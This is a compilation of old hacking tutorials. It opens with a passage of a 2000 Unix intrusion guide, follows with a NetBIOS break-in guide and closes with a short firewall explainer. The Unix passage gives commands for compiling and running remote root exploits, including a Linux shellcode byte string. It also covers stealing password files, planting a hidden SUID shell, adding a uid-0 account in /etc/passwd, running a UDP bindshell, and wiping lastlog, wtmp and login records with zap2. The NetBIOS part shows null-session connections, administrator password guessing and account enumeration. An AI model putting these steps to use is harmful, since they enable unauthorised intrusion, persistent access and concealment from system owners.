This nmap feature is cool, isn't it? So even if they've tried to fool us, we can know

what's the OS there and its very difficult to avoid it.

Also take a look to the TCP Sequence Prediction. If you scan a host and nmap tells

you their difficulty is low, that means their TCP sequence is predictable and we

can make spoofing attacks. This usually happens with windoze (9x or NT) boxes.

Ok, we've scanned the target. If the admins detect we've scanned them, they could get angry.

And we don't want the admins to get angry with us, that's why we used the -sS option.

This way (most) hosts don't detect ANYTHING from the portscan.

Anyway, scanning is LEGAL so you shouldn't have any problems with it. If you want a better

usage of nmap's features, read its man page:

bash-2.03$ man nmap

How to upload and compile programs

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

The most obvious and simple way is using FTP:

bash-2.03$ ls

program.c

sh-2.03$ ftp target.edu

Connected to target.edu.

220 target.edu FTP server (SunOS 5.6) ready.

Name: luser

331 Password required for luser.

Password:

230 User luser logged in.

ftp> put program.c

200 PORT command successful.

150 ASCII data connection for program.c (204.42.253.18,57982).

226 Transfer complete.

ftp> quit

221 Goodbye.

But this is not a really good way. It can create logs that will make the admin to detect us.

Avoid uploading it with FTP as you can, use cut&paste instead.

Here's how to make it:

we run a text editor

sh-2.03$ pico exploit.c

if it doesn't work, try this one:

sh-2.03$ vi exploit.c

Of course, you must learn how to use vi.

Then open another terminal (i mean without x windows, CTRL+ALT+Fx to scape from xwindows to x,

ALT+Fx to change to another terminal, ALT+F7 to return xwindows) on your own box and cut the

text from it. Change to your target and paste the code so you've 'uploaded' the file.

To cut a text from the screen, you need to install the gpm packet from your linux distribution.

This program lets you select and cut text with your mouse.

If cut&paste doesn't work, you can also type it by hand (they aren't usually large).

Once you get the .c file there, here's how to compile:

sh-2.03$ gcc program.c -o program

and execute:

sh-2.03$ ./program

Exploiting vulnerabilities

~~~~~~~~~~~~~~~~~~~~~~~~~~

This is the most important part of our hacking experience. Once we know what target.edu

is running, we can go to one of those EXPLOIT databases that are on the net.

A exploit is a piece of code that exploits a vulnerability on its software. In the case of

target.edu, we should look for an adequate exploit for sendmail 8.11.0 or any other daemon

that fits. Note that sendmail is the buggiest and the shittiest daemon, thus the most easy

exploitable. If your target gots an old version, you'll probably get in easyly.

When we exploit a security bug, we can get:

- a normal shell (don't know what a shell is? read a book of unix!)

a shell is a command interpreter. for example, the windoze 'shell' is the command.com file.

this one lets us send commands to the box, but we got limited priviledges.

- a root shell

this is our goal, once we're root, we can do EVERYTHING on our 'rooted' box.

These are some exploit databases i suggest you to visit:

www.hack.co.za

www.r00tabega.org

www.rootshell.com

www.securityfocus.com

www.insecure.org/sploits.html

Every exploit is different to use, so read its text and try them.

They usually come in .c language.

The most standar and easy to use exploits are buffer overflows.

I won't explain here how a buffer overflow does work,

Read "Smash The Stack For Fun And Profit" by Aleph One to learn it.

You can download it from my site. (www.3b0x.com)

Buffer overflows fool a program (in this case sendmail) to make it execute the code you want.

This code usually executes a shell, so it's called 'shellcode'. The shellcode to run a shell

is different to every OS, so this is a strong reason to know what OS they're running.

We edit the .c file we've downloaded and look for something like this:

char shellcode[] =

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

"\x80\xe8\xdc\xff\xff\xff/bin/sh";

This is a shellcode for Linux. It will execute /bin/sh, that is, a shell.

You gotta replace it by the shellcode for the OS your target is running.

You can find shellcodes for most OSes on my site or create your own by reading

the text i mentioned before (Smash The Stack For Fun And Profit).

IMPORTANT: before continuing with the practice, ask your target for permission to hack them.

if they let you do it, then you shall continue.

if they don't give you permission, STOP HERE and try with another one.

shall you continue without their permission, you'd be inquiring law and

i'm not responible of your craziness in any way!!!

You should have now the shell account, this is the time to use it!

everything i explain on this section, do it through your shell account:

bash-2.03$ telnet myshellaccount 23

Trying xx.xx.xx.xx...

Connected to yourshellaccount.

Escape character is '^]'.

Welcome to yourshellaccount

Password: (it doesn't display)

Last login: Fry Sep 15 11:45:34 from <yourIPaddress>.

sh-2.03$

Here is a example of a buffer overflow (that doesn't really exist):

we compile it:

sh-2.03$ gcc exploit.c -o exploit

we execute it:

sh-2.03$ ./exploit

This is a sendmail 8.9.11 exploit

usage: ./exploit target port

Sendmail works on port 25, so:

sh-2.03$./exploit 25 target.edu

Cool, '$' means we got a shell! Let's find out if we're root.

$whoami

root

Damn, we've rooted target.edu!

$whyamiroot

because you've hacked me! :-) (just kidding)

There are some exploits that don't give you root directly, but a normal shell.

It depends on what luser is running the daemon. (sendmail is usually root)

Then you'll have to upload a .c file with a local (local means it can't overflow

a daemon, but a local program) overflow and compile it.

Remember to avoid uploading it with FTP as you can.

Other kind of exploit is the one that gives you access to the password file.

If a host gots port 23 (telnet) opened, we can login as a normal user

(remote root logins are usually not allowed) by putting his/hers/its username

and password. Then use the su command to become root.

sh-2.03$ telnet target.edu 23

Trying xx.xx.xx.xx...

Connected to target.edu.

Escape character is '^]'.

We're running SunOS 5.7

Welcome to target.edu

Password: (it doesn't display)

Last login: Fry Sep 22 20:47:59 from xx.xx.xx.xx.

sh-2.03$ whoami

luser

Are we lusers?

sh-2.03$ su root

Password:

Don't think so...

sh-2.03$ whoami

root

sh-2.03$

Let's see what happened. We've stolen the password file (/etc/shadow) using an exploit.

Then, let's suppose we've extracted the password from luser and root. We can't login as

root so we login as luser and run su. su asks us for the root password, we put it and...

rooted!!

The problem here is that is not easy to extract a root password from a password file.

Only 1/10 admins are idiot enough to choose a crackable password like a dictinonary word

or a person's name.

I said some admins are idiot (some of them are smart), but lusers are the more most

idiotest thing on a system. You'll find that luser's passwords are mostly easyly cracked,

you'll find that lusers set up rlogin doors for you to enter without a password, etc.

Not to mention what happens when an admin gives a normal luser administrator priviledges

with sudo or something.

To learn how to crack a password file and extract its passwords, download a document called

"cracking UNIX passwords" by Zebal. You can get it from my site (www.3b0x.com).

Of course, I haven't listed all the exploit kinds that exist, only the most common.

Putting backdoors

~~~~~~~~~~~~~~~~~

Ok, we've rooted the system. Then what?

Now you're able to change the webpage of that .edu box. Is that what you want to do?

Notice that doing such a thing is LAMER attitude. everyone out there can hack an .edu

box, but they're not ashaming them with such things.

Hacktivism is good and respected. You can change the page of bad people with bad ideologies

like nazis, scienciologists, bsa.org, microsoft, etc. Not a bunch of poor educators.

REMEMBER: ask for permission first!

No, this time you should do another thing. You should keep that system for you to play with

as a toy! (remember: your_box --> lame_box --> victim's box)

Once we type "exit" on our login shell, we're out. And we gotta repeat all the process to get

back in.

And it may not be possible:

- the admin changed his password to something uncrackable.

- they updated sendmail to a newer version so the exploit doesn't work.

So now we're root and we can do everything, we shall put some backdoors that let us get back in.

It may be interesting to read the paper about backdoors I host on my site. (www.3b0x.com)

Anyway, i'll explain the basics of it.

1.How to make a sushi:

To make a sushi or suid shell, we gotta copy /bin/sh to some hidden place and give it suid

permissions:

sh-2.03$ cp /bin/sh /dev/nul

In the strange case the admin looks at /dev, he wouldn't find something unusual cause

/dev/null does exist (who notices the difference?).

sh-2.03$ cd /dev

sh-2.03$ chown root nul

Should yet be root-owned, but anyway...

sh-2.03$ chmod 4775 nul

4775 means suid, note that "chmod +s nul" wouldn't work on some systems but this works everywhere.

We've finished our 'duty', let's logout:

sh-2.03$ exit

Then, when we come back some day:

sh-2.03$ whoami

luser

sh-2.03$ /dev/nul

sh-2.03$ whoami

root

We're superluser again!

There's one problem: actually most shells drop suid permissions, so the sushi doesn't work.

we'd upload then the shell we want and make a sushi with it.

The shell we want for this is SASH. A stand-alone shell with built-in commands.

This one doesn't drop suid perms, and the commands are built-in, so external commands

can't drop perms too! Remember to compile it for the architecture of the target box.

Do you know where to get sash from? From my site :-). (www.3b0x.com)

2.How to add fake lusers.

You gotta manipulate the users file: /etc/passwd

try this:

sh-2.03$ pico /etc/passwd

if it doesn't work, try this:

sh-2.03$ vi /etc/passwd

Of course, you must learn how to use vi.

This is what a luser line looks like: luser:passwd:uid:gid:startdir:shell

When uid=0 and gid=0, that luser gets superluser priviledges.

Then we add a line like this:

dood::0:0:dood:/:/bin/sh (put it in a hidden place)

So, once we get a shell, we type:

sh-2.03$ su dood

sh-2.03$ whoami

dood

And now we're root because dood's uid=0 and gid=0.

Smart admins usually look for anomalities on /etc/passwd. The best way is to use a fake

program in /bin that executes the shell you want with suid perms.

I haven't got such a program at my site, but it shouldn't be difficult to develope.

3.How to put a bindshell.

A bindshell is a daemon, it's very similar to telnetd (in fact, telnetd is a bindshell).

The case is this is our own daemon. The good bindshells will listen to an UDP port (not TCP)

and give a shell to you when you connect. The cool thing of UDP is this:

If the admin uses a scanner to see what TCP ports are open, he woldn't find anything!

They rarely remember UDP exists.

You can get an UDP bindshell coded by !hispahack from my site.

Cleaning up

~~~~~~~~~~~

Remember when we logedin to target.edu as luser, and used su to become root?

Take a look to this line:

Last login: Fry Sep 22 20:47:59 from xx.xx.xx.xx.

Yes, that was displayed by the target box when we logedin there.

It refers to the last login that the real luser did.

So, what will be displayed when luser logsin again?

Last login: Sun Sep 24 10:32:14 from <yourIPaddress>.

Then luser writes a mail to the admin:

"It has happen some strange thing, when I loggedin today, I've read a line like this:

Last login: Sun Sep 24 10:32:14 from <yourIPaddress>.

Does it mean I did login yesterday? It can't be, I don't work on sundays!

I think it's a bug and this is your fault."

The admin responds to luser:

"That wasn't a bug! this line means someone acceded the system using your password, don't

worry for that, we got his IP. That means we can ask his ISP what phone number did call

at 10:32 and get <yourIPaddress>. Then we shall call the police and he'll get busted"

So you'll get busted because luser was a bit clever (sometimes happens).

So we gotta find a way to delete that.

This information can be stored in:

/usr/adm/lastlog

/var/adm/lastlog

/var/log/lastlog

and we can erase it using lled (get it from my site)

lled gots a buitin help that explains how to use it, remember to chmod the fake file

created by lled like the substitute lastlog file.

There is also some information we'd like to erase:

Remember when i told you not to use FTP? Well, in case you did it, you must now

use wted to clean up. Its sintax is very similar to lled.

you can get it from my site.

The who command shows us (and the admin) which lusers are logedin at the moment.

What if we login and the admin is there?

sh-2.03$ who

root tty1 Sep 25 18:18

Then we shall use zap2. If you loggedin as 'luser', then type:

sh-2.03$ ./zap2 luser

Zap2!

sh-2.03$ who

sh-2.03$

And luser has never been here.

Greetings

~~~~~~~~~

Ok, this is all for now (i'll make a newer version). I hope it has been useful to you and you

decide to continue learning and become a real hacker. You can visit my site (www.3b0x.com)

for more advanced tutorials so you can improve your skills.

I'd get very happy if you send me a mail telling me your impression about this paper (wether

is good or bad), and you help me to improve it.

I'd like to send my greetings to every hacker that has tought me in any way, through newsgroups

or other tutorials like this one. thanks to all.

This paper was written on 26-9-00 by TDC

The Magic of NetBIOS

2012-03-22T00:39:00.002-07:00

The Magic of NetBIOS

In this guide you will learn how to explore the Internet using Windows XP and NetBIOS:

· How to Install NetBIOS <beginnine2a.shtml>

· How to Use Nbtstat <beginnine2b.shtml>

· The Net View Command <beginnine2c.shtml>

· What to Do Once You Are Connected <beginnine2c.shtml>

· How to Break in Using the XP GUI <beginnine2d.shtml>

· More on the Net Commands <beginnine2e.shtml>

· How Crackers Break in as Administrator <beginnine2f.shtml>

· How to Scan for Computers that Use NetBIOS <beginnine2g.shtml>

· How to Play NetBIOS Wargames <beginnine2h.shtml>

· An Evil Genius Tip for Win NT Server Users <beginnine2h.shtml>

· Help for Windows 95, 98, SE and ME Users <beginnine2h.shtml>

Not many computers are reachable over the Internet using NetBIOS commands - maybe only a few million. But what the heck, a few million is enough to keep a hacker from getting bored. And if you know what to look for, you will discover that there are a lot of very busy hackers and Internet worms searching for computers they can break into by using NetBIOS commands. By learning the dangers of NetBIOS, you can get an appreciation for why it is a really, truly BAD!!! idea to use it.

*****************
Newbie note: a worm is a program that reproduces itself. For example, Code Red automatically searched over the Internet for vulnerable Windows computers and broke into them. So if you see an attempt to break into your computer, it may be either a human or a worm.
*****************

If you run an intrusion detection system (IDS) on your computer, you are certain to get a lot of alerts of NetBIOS attacks. Here's an example:

The firewall has blocked Internet access to your computer (NetBIOS Session) from 10.0.0.2 (TCP Port 1032) [TCP Flags: S].

Occurred: 2 times between 10/29/2002 7:38:20 AM and 10/29/2002 7:46:18 AM

A Windows NT server on my home network, which has addresses that all start with 10.0.0, caused these alerts. In this case the server was just doing its innocent thing, looking for other Windows computers on my LAN (local area network) that might need to network with it. Every now and then, however, an attacker might pretend to have an address from your internal network even though it is attacking from outside.

If a computer from out on the Internet tries to open a NetBIOS session with one of mine, I'll be mighty suspicious. Here's one example of what an outside attack may look like:

The firewall has blocked Internet access to your computer (NetBIOS Name) from 999.209.116.123 (UDP Port 1028).

Time: 10/30/2002 11:10:02 AM
(The attacker's IP address has been altered to protect the innocent or the guilty, as the case may be.)

Want to see how intensely crackers and worms are scanning the Internet for potential NetBIOS targets? A really great and free IDS for Windows that is also a firewall is Zone Alarm. You can download it for free from http://www.zonelabs.com . You can set it to pop up a warning on your screen whenever someone or some worm attacks your computer. You will almost certainly get a NetBIOS attack the first day you use your IDS.

Do you need to worry when a NetBIOS attack hits? Only if you have enabled NetBIOS and Shares on your computer. Unfortunately, in order to explore other computers using NetBIOS, you increase the danger to your own computer from attack by NetBIOS. But, hey, to paraphrase a famous carpenter from Galilee, he who lives by the NetBIOS gets hacked by the NetBIOS.

********************
Newbie note: NetBEUI (NetBIOS Extended User Interface) is an out-of-date, crummy, not terribly secure way for Windows computers to communicate with each other in a peer-to-peer mode. NetBIOS stands for network basic input/output system.

Newbie note: Shares are when you make it so other computers can access files and directories on your computer. If you set up your computer to use NetBIOS, in Win XP using the NTFS (new technology file system) you can share files and directories by bringing up My Computer. Click on a directory - which in XP is called a "folder". In the left-hand column a task will appear called "Share this folder". By clicking this you can set who can access this folder, how many people at a time can access it, and what they can do with the folder.
********************

There are a number of network exploration commands that only NetBIOS uses. We will show how to use nbtstat and several versions of the net command.

How to Install NetBIOS

You might have to make changes on your system in order to use these commands. Here's how to enable NetBIOS for Windows XP. (If you are stuck with Windows 95, 98, SE or ME, see the end of this Guide for how to enable NetBIOS.) Click:

Control Panel -> Network Connections

There are two types of network connections that may appear here: "Dial-up" and "LAN or High-Speed Internet".

**************
Newbie note: A dial-up connection uses a modem to reach the Internet. LAN stands for local area network. It's what you have if two or more computers are linked to each other with a cable instead of modems. Most schools and businesses have LANs, as well as homes with Internet connection sharing. A DSL or cable modem connection will also typically show up as a LAN connection.
**************

To configure your connections for hacking, double click on the connection you plan to use. That brings up a box that has a button labeled "Properties". Clicking it brings up a box that says "This connection uses the following items:"

You need to have both TCP/IP and NWLink NetBIOS showing. If NWLink NetBIOS is missing, here's how to add it. Click Install -> Protocol -> Add NWlink/IPX/SPX/NetBIOS Compatible Transport Protocol.

**************
Newbie note: NWLink refers to Novell's Netware protocol for running a LAN.
**************

How to Use Nbtstat

To get started, bring up the cmd.exe command. Click Start -> Run and type cmd.exe in the command line box. This brings up a black screen with white letters. Once it is up, we will play with the nbtstat command. To get help for this command, just type:

C:\>nbtstat help

One way to use the nbtstat command is to try to get information from another computer using either its domain name (for example test.target.com), its numerical Internet address (for example, happyhacker.org's numerical address is 206.61.52.30), or its NetBIOS name (if you are on the same LAN).

C:\>nbtstat -a 10.0.0.2

Local Area Connection:
Node IpAddress: [10.0.0.1] Scope Id: []

NetBIOS Remote Machine Name Table

Name Type Status
---------------------------------------------
OLDGUY <00> UNIQUE Registered
OLDGUY <20> UNIQUE Registered
WARGAME <00> GROUP Registered
INet~Services <1C> GROUP Registered
IS~OLDGUY......<00> UNIQUE Registered
OLDGUY <03> UNIQUE Registered
WARGAME <1E> GROUP Registered
ADMINISTRATOR <03> UNIQUE Registered

MAC Address = 52-54-00-E4-6F-40

What do these things tell us about this computer? Following is a table explaining the codes you may see with an nbtstat command (taken from the MH Desk Reference, written by the Rhino9 team).

Name Number Type Usage =========================================================
<computername> 00 U Workstation Service
<computername> 01 U Messenger Service
<\\_MSBROWSE_> 01 G Master Browser
<compname> 03 U Messenger Service
<computername> 06 U RAS Server Service
<computername> 1F U NetDDE Service
<computername> 20 U File Server Service
<computername> 21 U RAS Client Service
<computername> 22 U Exchange Interchange
<computername> 23 U Exchange Store
<computername> 24 U Exchange Directory
<computername> 30 U Modem Sharing Server Service
<computername> 31 U Modem Sharing Client Service
<computername> 43 U SMS Client Remote Control
<computername> 44 U SMS Admin Remote Control Tool
<computername> 45 U SMS Client Remote Chat
<computername> 46 U SMS Client Remote Transfer
<computername> 4C U DEC Pathworks TCPIP Service
<computername> 52 U DEC Pathworks TCPIP Service
<computername> 87 U Exchange MTA
<computername> 6A U Exchange IMC
<computername> BE U Network Monitor Agent
<computername> BF U Network Monitor Apps
<username> 03 U Messenger Service
<domain> 00 G Domain Name
<domain> 1B U Domain Master Browser
<domain> 1C G Domain Controllers
<domain> 1D U Master Browser
<domain> 1E G Browser Service Elections
<INet~Services>1C G Internet Information Server
<IS~Computer_name>00 U Internet Information Server

To keep this Guide from being ridiculously long, we'll just explain a few of the things what we learned when we ran nbtstat -a against 10.0.0.2:

* it uses NetBIOS
* its NetBIOS name is Oldguy
* one of the users is named Administrator
* it runs a web site with Internet Information Server, and maybe an ftp - file transfer protocol -- server
* it is a member of the domain Wargame
* it is connected on a local area network and we accessed it through an Ethernet network interface card (NIC) with a MAC Address of 52-54-00-E4-6F-40.

When using nbtstat over the Internet, in most cases it will not find the correct MAC address. However, sometimes you get lucky. That is part of the thrill of legal hacker exploration. OK, OK, maybe getting a thrill out of a MAC address means I'm some kind of a freak. But if you are reading this, you probably are freaky enough to be a hacker, too.

**************
Newbie note: MAC stands for media access control. In theory every NIC ever made has a unique MAC address, one that no other NIC has. In practice, however, some manufacturers make NICs that allow you to change the MAC address.
**************

**************
Evil Genius tip: sneak your computer onto a LAN and use it to find the MAC address of a very interesting computer. Crash it, then give yours the same MAC, NetBIOS name and Internet address as the very interesting computer. Then see what you can do while faking being that computer. That's why I get a charge out of discovering a MAC address, so stop laughing at me already.
**************

**************
You can get fired, expelled, busted and catch cooties warning: Faking all that stuff is something you would be better off doing only on your own test network, or with written permission from the owner of the very interesting computer.
**************

Now that we know some basic things about computer 10.0.0.2, also known as Oldguy, we can do some simple things to learn more. We can connect to it with a web browser to see what's on the web site, and with ftp to see if it allows anonymous users to download or upload files. In the case of Oldguy, anyone can browse the web site. However, when we try to connect to its ftp server with Netscape by giving the location ftp://10.0.0.2, it returns the message "User Mozilla@ cannot log in.

**************
Newbie note: The people who programmed Netscape have always called it Mozilla, after a famous old movie monster. As a joke they have stuck obscure mentions of Mozilla into the operations of Netscape. Mozilla lovers recently spun off a pure Mozilla browser project that has the web site http://www.mozilla.org.
**************

The Net View Command

Now let's have some serious fun. Netscape (or any browser or ftp program) uses TCP/IP to connect. What happens if we use NetBIOS instead to try to download files from Oldguy's ftp server?

Let's try some more NetBIOS commands:

C:\>net view \\10.0.0.2
System error 53 has occurred.

The network path was not found.

I got this message because my firewall blocked access to Oldguy, giving the message:

The firewall has blocked Internet access to 10.0.0.2 (TCP Port 445) from your computer [TCP Flags: S].

There's a good reason for this. My firewall/IDS is trying to keep me from carelessly making my computer a part of some stranger's LAN. Keep in mind that NetBIOS is a two-way street. However, I want to run this command, so I shut down Zone Alarm and give the command again:

C:\>net view \\10.0.0.2
Shared resources at \\10.0.0.2

Share name Type Used as Comment

--------------------------------------------------------
ftproot Disk
InetPub Disk
wwwroot Disk
The command completed successfully.

This is a list of shared directories. Oooh, look at that, the ftp server is shared. Does this mean I can get in? When setting shares on a Windows NT server, the default choice is to allow access to read, write and delete files to everyone. So sometimes a sysadmin carelessly fails to restrict access to a share.

What is really important is that we didn't need a user name or password to get this potentially compromising information.

Let's establish an anonymous connection to Oldguy, meaning we connect without giving it a user name or password:

C:\>net use \\10.0.0.2\ipc$
Local name
Remote name \\10.0.0.2\IPC$
Resource type IPC
Status OK
# Opens 0
# Connections 1
The command completed successfully.

We are connected!

**********************
Newbie note: IPC (ipc$) stands for "Inter Process Connector", used to set up connections across a network between Windows computers using NetBIOS.
**********************

What to Do Once you Are Connected

So far we haven't quite been breaking the law, although we have been getting pretty rude if the owner of that target computer hasn't given us permission to explore. What if we want to stop pushing our luck and decide to disconnect? Just give the message:

C:\>net session \\10.0.0.2 /delete

Of course you would substitute the name or number of the computer to which you are connected for 10.0.0.2.

What if you want to stay connected? Oldguy will let you stay connected even if you do nothing more. By contrast, a login to a Unix/Linux type computer will normally time out and disconnect you if you go too long without doing anything.

How to Break in Using the XP GUI

You could try out the other net commands on Oldguy. Or you can go to the graphical user interface (GUI) of XP. After running the above commands I click My Computer, then My Network Places and there you'll find the victim, er, I mean, target computer. By clicking on it, I discover that ftproot has been shared to - everyone!

Let's say you were to get this far investigating some random computer you found on the Internet. Let's say you had already determined that the ftp server isn't open to the public. At this moment you would have a little angel sitting one shoulder whispering "You can be a hero. Email the owner of that computer to tell him or her about that misconfigured ftproot."

On the other shoulder a little devil is sneering, "Show the luser no mercy. Information should be free. Because I said so, that's why. Hot darn, are those spreadsheets from the accounting department? You could make a lot of bucks selling those files to a competitor, muhahaha! Besides, you're so ugly that future cellmate Spike won't make you be his girlfriend."

Some hackers might think that because ftproot is shared to the world that it is OK to download stuff from it. However, if someone were to log in properly to that ftp server, he or she would get the message "Welcome to Oldguy on Carolyn Meinel's LAN. Use is restricted to only those for whom Meinel has assigned a user name and password." This warning logon banner is all a computer owner needs to legally establish that no one is allowed to just break in. It won't impress a judge if a cracker says "The owner was so lame that her computer deserved to get broken into" or "I'm so lame that I forgot to try to use the ftp server the normal way."

More on the Net Commands

Let's get back to the net commands. There are many forms of this command. In XP you can learn about them with the command:

C:\>net help
The syntax of this command is:

NET HELP
command
-or-
NET command /HELP

Commands available are:

· NET ACCOUNTS

· NET HELP

· NET SHARE
NET COMPUTER

· NET HELPMSG

· NET START

· NET CONFIG

· NET LOCALGROUP

· NET STATISTICS

· NET CONFIG SERVER

· NET NAME

· NET STOP

· NET CONFIG WORKSTATION

· NET PAUSE

· NET TIME

· NET CONTINUE

· NET PRINT

· NET USE

· NET FILE

· NET SEND

· NET USER

· NET GROUP

· NET SESSION

· NET VIEW

· NET HELP SERVICES lists some of the services you can start.

· NET HELP SYNTAX explains how to read NET HELP syntax lines.

· NET HELP command | MORE displays Help one screen at a time.

How Crackers Break in as Administrator

As we look around Oldguy further, we see that there's not much else an anonymous user can do to it. We know that there is a user named Administrator. What can we do if we can convince Oldguy that we are Administrator?

******************
Newbie note: in Windows NT, 2000 and XP, the Administrator user has total power over its computer, just as root has total power over a Unix/Linux type computer. However, it is possible to change the name of Administrator so an attacker has to guess which user has all the power.
******************

Let's try to log in as Administrator by guessing the password. Give the command:

C:\>net use \\10.0.0.2\ipc$ * /user:Administrator
Type the password for \\10.0.0.2\ipc$:
System error 1219 has occurred.

Multiple connections to a server or shared resource by the same user, using more than one user name, are not allowed. Disconnect all previous connections to the server or shared resource and try again.

This means that someone else is currently logged onto this server who has Administrator rights. Furthermore, this person is probably watching me on an IDS and thinking up terrible things to do to me. Eeep! Actually this is all going on inside my hacker lab - but you get the idea of what it could be like when trying to invade a computer without permission.

I discover that whether I guess the password correctly or not, I always get the same error message. This is a good safety feature. On the other hand, one of the users is named Administrator. This is a bad thing for the defender. When you first set up a Windows NT or 2000 server, there is always a user called Administrator, and he or she has total power over that computer. If you know the all-powerful user is named Administrator, you can try guessing the password whenever no one is logged on with Administrator powers.

Computer criminals don't waste time guessing by hand. They use a program such as NAT or Legion to get passwords. These programs are why smart NT administrators rename their Administrator accounts and choose hard passwords. Also, this kind of persistent attack will be detected by an intrusion detection system, making it easy to catch criminals at work.

********************
You can get expelled warning: What if you are a student and you want to save your school from malicious code kiddies who steal tests and change grades? It is important to get permission *in writing* before you test the school's network. Even then, you still must be careful to be a model student. If you act up, cut classes - you know what I mean - the first time a cracker messes up the network, who do you think they will suspect? Yes, it's unfair, and yes, that is the way the world works.
********************

How to Scan for Computers that Use NetBIOS

Your tool of choice is a port scanner. Any computer that is running something on port 139 is likely (but not certain) to be using NetBIOS. Most crackers use nmap to port scan. This tool runs on Unix/Linux type computers. You can get it at . There is also a Windows version of nmap, but it isn't very good. A better choice for Windows is Whats Up from . You can get a one month free trial of it.

Here's an example of an nmap scan of Oldguy:

test-box:/home/cmeinel # nmap -sTU 10.0.0.2

Starting nmap V. 3.00 ( www.insecure.org/nmap/ )
Interesting ports on (10.0.0.2):
(The 3060 ports scanned but not shown below are in state: closed)
Port State Service
21/tcp open ftp
70/tcp open gopher
80/tcp open http
135/tcp open loc-srv
135/udp open loc-srv
137/udp open netbios-ns
138/udp open netbios-dgm
139/tcp open netbios-ssn
500/udp open isakmp

Nmap run completed -- 1 IP address (1 host up) scanned in 8 seconds

As you can see from this scan, three ports are identified with NetBIOS. This tells us that we could set nmap to scan a large number of Internet addresses, only looking for port 139 on each. To learn how to set up nmap to run this way, in your Unix or Linux shell give the command "man nmap".

For more on what crackers do once they break into a computer using NetBIOS (like installing back doors), see

********************
You can get punched in the nose warning: if you use a port scanner against networks that haven't given you permission to scan, you will be waving a red flag that says "Whaddaya wanna bet I'm a computer criminal?" You can't get arrested for merely port scanning, but people who don't like being scanned might get you kicked off your Internet service provider.

You can get really, big time, punched in the nose warning: If you visit the same computer or LAN really often to see what's new and to try different things, even if you don't break the law you'd better be doing it with the permission of the owner. Otherwise you may make enemies who might crash or destroy your operating system. And that is only what they may do when feeling mellow. After a night of hard drinking - well, you don't want to find out.
********************

How to Play NetBIOS Wargames

What if you want to challenge your friends to a hacker wargame using NetBIOS? The first thing to do is *don't* email me asking me to break in for you. Sheesh. Seriously, almost every day I get emails from people claiming to have permission from their girlfriend/boyfriend and begging me to help them break in. You can read their hilarious pleas for help at .

The way to run a hacker wargame over the Internet is first, get permission from your Internet provider so they don't kick you off for hacking. They probably run an IDS that scans users for suspicious activity. They probably hate malicious hackers. Enough said.

Second, you and your friends are likely to be at a different Internet address every time you log on. Your safest way to play over the Internet is for each player to get an Internet address that is the same every time he or she logs on: a "static" address. This way you won't accidentally break into someone else's computer.

You have to arrange with your Internet provider to get a static address. Normally only a local provider can do this for you. A big advantage of using a local provider is you can make friends with the people who work there - and they are probably hackers.

If you live in an apartment building or dormitory with other hackers, you can play break-in games without using the Internet. Set up a LAN where you can play together. For example, you can string Ethernet cable from window to window. To learn how to set up a Windows Ethernet LAN, see http://happyhacker.org/gtmhh/winlan.shtml .

Or you could set up a wireless LAN. With wireless you never know who might come cruising with a laptop down the street by your home or business and break in. That can make a wargame lots more fun. For help on how to break into wireless LANs (it's pathetically easy), see

**************
Evil genius tip: Attack using a Win NT server with the Microsoft Resource Kit installed. Heh, heh. With it you can give the command:

C:\>Local Administrators \\<targetbox.com>

This should show all user accounts with administrator rights on targetbox.com.

C:\>Global Administrators \\<targetbox.com >

This should show all user accounts with Domain administrative rights. These are exceptionally worth compromising, because with one Domain administrative password you will be able to control many resources among NT servers, workstations, and Win 95/98 computers.

I've tried to install the Resource Kit on XP Professional, but it wasn't compatible.

Another option is to install hacker tools such as Red Button and DumpACL, which extract information on user names, hashes, and which services are running on a given machine.
**************

Help for users of Windows 95, 98, SE or ME

To enable NetBIOS, click

Control Panel -> Network -> Protocols

If you see both NetBEUI and TCP/IP, you are already using NetBIOS. If not, add NetBEUI.

To bring up the command screen, click Start -> Run and type in command.com.

Firewall Protection how to

2012-03-18T05:04:00.002-07:00

What is a Firewall?
A firewall is a tool that monitors communication to and from your computer. It sits between your computer and the rest of the network, and according to some criteria, it decides which communication to allow, and which communication to block. It may also use some other criteria to decide about which communication or communication request to report to you (either by adding the information to a log file that you may browse whenever you wish, or in an alert message on the screen), and what not to report.

What Is It Good For?
Identifying and blocking remote access Trojans. Perhaps the most common way to break into a home computer and gain control, is by using a remote access Trojan (RAT). (sometimes it is called "backdoor Trojan" or "backdoor program". Many people simply call it a "Trojan horse" although the term "Trojan horse" is much more generic). A Trojan horse, is a program that claims to do something really innocent, but in fact does something much less innocent. This goes to the days where the Greek soldiers succeeded to enter through the gates of Troy by building a big wooden horse, and giving it as a present to the king of Troy. The soldiers allowed the sculpture to enter through their gates, and then at night, when the soldiers were busy guarding against an outside attack, many Greek soldiers who were hiding inside the horse went out and attacked Troy from the inside. This story, which may or may not be true, is an example of something which looks like something innocent and is used for some less innocent purpose. The same thing happens in computers. You may sometimes get some program, via ICQ, or via Usenet, or via IRC, and believe this program to be something good, while in fact running it will do something less nice to your computer. Such programs are called Trojan horses. It is accepted to say that the difference between a Trojan horse and a virus, is that a virus has the ability to self-replicate and to distribute itself, while a Trojan horse lacks this ability. A special type of Trojan horses, is RATs (Remote Access Trojans, some say "remote admin Trojans"). These Trojans once executed in the victim's computer, start to listen to incoming communication from a remote matching program that the attacker uses. When they get instructions from the remote program, they act accordingly, and thus let the user of the remote program to execute commands on the victim's computer. To name a few famous RATs, the most common are Netbus, Back-Orifice, and SubSeven (which is also known as Backdoor-G). In order for the attacker to use this method, your computer must first be infected by a RAT.
Prevention of infections by RATs is no different than prevention of infection by viruses. Antivirus programs can identify and remove most of the more common RATs. Personal firewalls can identify and block remote communication efforts to the more common RATs and by thus blocking the attacker, and identifying the RAT.

Blocking/Identifying Other Types of Trojans and WQorms?
There are many other types of Trojan horses which may try to communicate with the outside from your computer. Whether they are e-mail worms trying to distribute themselves using their own SMTP engine, or they might be password stealers, or anything else. Many of them can be identified and blocked by a personal firewall.

Identifying/Blocking Spyware's/Adbots?
